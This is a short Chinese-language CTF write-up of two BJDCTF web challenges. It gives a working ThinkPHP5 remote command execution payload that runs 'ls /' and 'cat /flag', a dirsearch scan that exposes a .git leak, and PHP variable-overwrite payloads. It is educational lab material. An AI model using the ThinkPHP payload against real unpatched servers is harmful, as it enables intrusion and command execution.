。。。。。。。
题目一:
[BJDCTF 2nd]old-hack
提示是thinkphp5的漏洞(远程命令执行漏洞)
?s=1,查看报错信息,
知道是和这个版本的漏洞有关
漏洞利用:
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls /
cat /flag
题目二:
[BJDCTF2020]Mark loves cat
用dirsearch扫描发现.git泄露
(注意调低线程:dirsearch.py -u url -e * --timeout=2 -t 1 -x 400,403,404,500,503,429)
<?php
$flag = file_get_contents('/flag');
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
分析代码:
第一个foreach,如果post一个flag=abc,那么变量覆盖后是$flag=abc
,最后输出的就会是abc;第二个foreach,如果get一个flag=abc,那么变量覆盖后$flag=$abc
,最后输出的为空,因为$abc没有被定义
题目主要涉及的就是变量覆盖,可以用flag将exit要输出的变量覆盖,改成输出flag
payload1:
?yds=flag
payload2:
先是让is=flag,再满足if后面的判断条件
?is=flag&flag=flag